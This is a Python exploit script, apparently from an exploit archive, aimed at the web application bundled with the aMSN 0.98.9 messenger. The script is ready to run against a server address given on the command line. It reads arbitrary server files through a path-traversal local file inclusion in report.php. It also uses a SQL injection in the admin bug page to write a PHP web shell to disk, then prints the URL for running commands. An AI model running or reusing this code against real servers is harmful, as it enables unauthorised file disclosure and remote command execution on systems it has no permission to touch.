# Exploit Title: aMSN LFI/SQLi
# Date: 10/09/2013
# Exploit author: drone (@dronesec)
# Vendor homepage: http://www.amsn-project.net
# Software link: sourceforge.net/projects/amsn/files/amsn/0.98.9/aMSN-0.98.9-tcl85-windows-installer.exe
# Version: 0.98.9
# Fixed in: SVN repositories (r12422)
# Tested on: Ubuntu 12.04 (apparmor disabled)
from argparse import ArgumentParser
import urllib2
import string
import random
"""
Preauth LFI and SQLi in the web app packaged with aMSN 0.98.9
"""
def lfi(options):
""" exploit the LFI
"""
addr = 'http://{0}{1}/bugs/report.php?lang=../../../../../{2}'.format(\
options.ip, options.root, options.lfi)
data = urllib2.urlopen(addr).read().rstrip().split("ERROR")[0]
print data
def run(options):
""" exploit lfi or sqli
"""
if options.lfi:
return lfi(options)
shell = ''.join(random.choice(string.ascii_lowercase + string.digits) for x in range(5))
sqli = 'http://{0}{1}/bugs/admin/index.php?show=bug&id='.format(options.ip, options.root)
# ' UNION SELECT '<?php system($_GET['cmd']) ?>,2,3,4,5,6,7,8,9 INTO OUTFILE 'yourshell';-- -
exploit = '1\'%20UNION%20SELECT%20\'<?php%20system($_GET[\\\'cmd\\\'])?>\',2,3,4,5,6,7,8,9%20'\
'INTO%20OUTFILE%20\'{0}/{1}.php\';%20--%20-%20'.format(options.path,shell)
urllib2.urlopen(sqli + exploit)
print '[!] Shell dropped. http://%s%s/%s.php?cmd=ls' % (options.ip, options.root, shell)
def parse_args():
parser = ArgumentParser()
parser.add_argument("-i", help='Server address', action='store', dest='ip', required=True)
parser.add_argument('-l', help='Local file inclusion', action='store', dest='lfi',
metavar='[file]')
parser.add_argument('-p', help='Path to amsn [/amsn]', action='store', dest='root',
default='/amsn')
parser.add_argument('-w', help='Path to drop shell [/var/www/amsn', dest='path',
default='/var/www/amsn')
options = parser.parse_args()
options.path = options.path if options.path[-1] != '/' else options.path[:-1]
options.root = options.root if options.root[-1] != '/' else options.root[:-1]
return options
if __name__ == "__main__":
run(parse_args())
